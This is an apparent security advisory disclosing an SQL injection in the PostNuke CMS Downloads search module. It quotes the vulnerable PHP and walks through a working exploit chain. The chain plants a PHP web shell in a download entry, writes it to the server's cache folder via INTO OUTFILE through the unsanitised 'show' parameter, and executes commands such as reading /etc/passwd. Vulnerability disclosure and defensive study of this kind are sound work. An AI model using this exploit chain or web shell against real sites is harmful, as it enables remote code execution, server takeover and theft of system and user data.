PostNuke: The Phoenix Release (0.750) and (0.760-RC2)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system. PostNuke
is still undergoing development but a large number of core functions are now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage

- --- 1. Sql Injection ---
This sql injection exist in modules/Downloads/dl-search.php on line 74 on function search()

Vulnerabilities code:
- -51-68---
if ($show!="") {
$downloadsresults = $show;
} else {
$show=$downloadsresults;
}
//$query = stripslashes($query);
$column = &$pntable['downloads_downloads_column'];
$sql = "SELECT $column[lid], $column[cid], $column[sid],
$column[title], $column[url], $column[description],
$column[date], $column[hits], $column[downloadratingsummary],
$column[totalvotes], $column[totalcomments],
$column[filesize], $column[version], $column[homepage]
FROM $pntable[downloads_downloads]
WHERE $column[title] LIKE '%".pnVarPrepForStore($query)."%'
OR $column[description] LIKE '%".pnVarPrepForStore($query)."%'
ORDER BY $pntable[downloads_downloads].$orderby";

$result = $dbconn->SelectLimit($sql, $downloadsresults, (int)$min);
- -51-68---

Error exist in varible $show.

Go to this url to view error:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

Error message :
- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in
/www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line 74
- ---------------

Because this sql injection is after ORDER BY.. we can not use UNION etc. But check this
exploit.

Exploit
Check dir for PostNuke.

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

Error message :
- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in
/www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line 74
- ---------------

For exemple prefix is /www/PostNuke-0.760-RC2/html/.

Now add new download and insert to "Description" or "Home page" php code. For example add:

- ---
<? system($_GET[cx]); ?>
- ---

And when this download exist in db, go to:


http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=[Program
name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*

and now for example..

http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd

;]
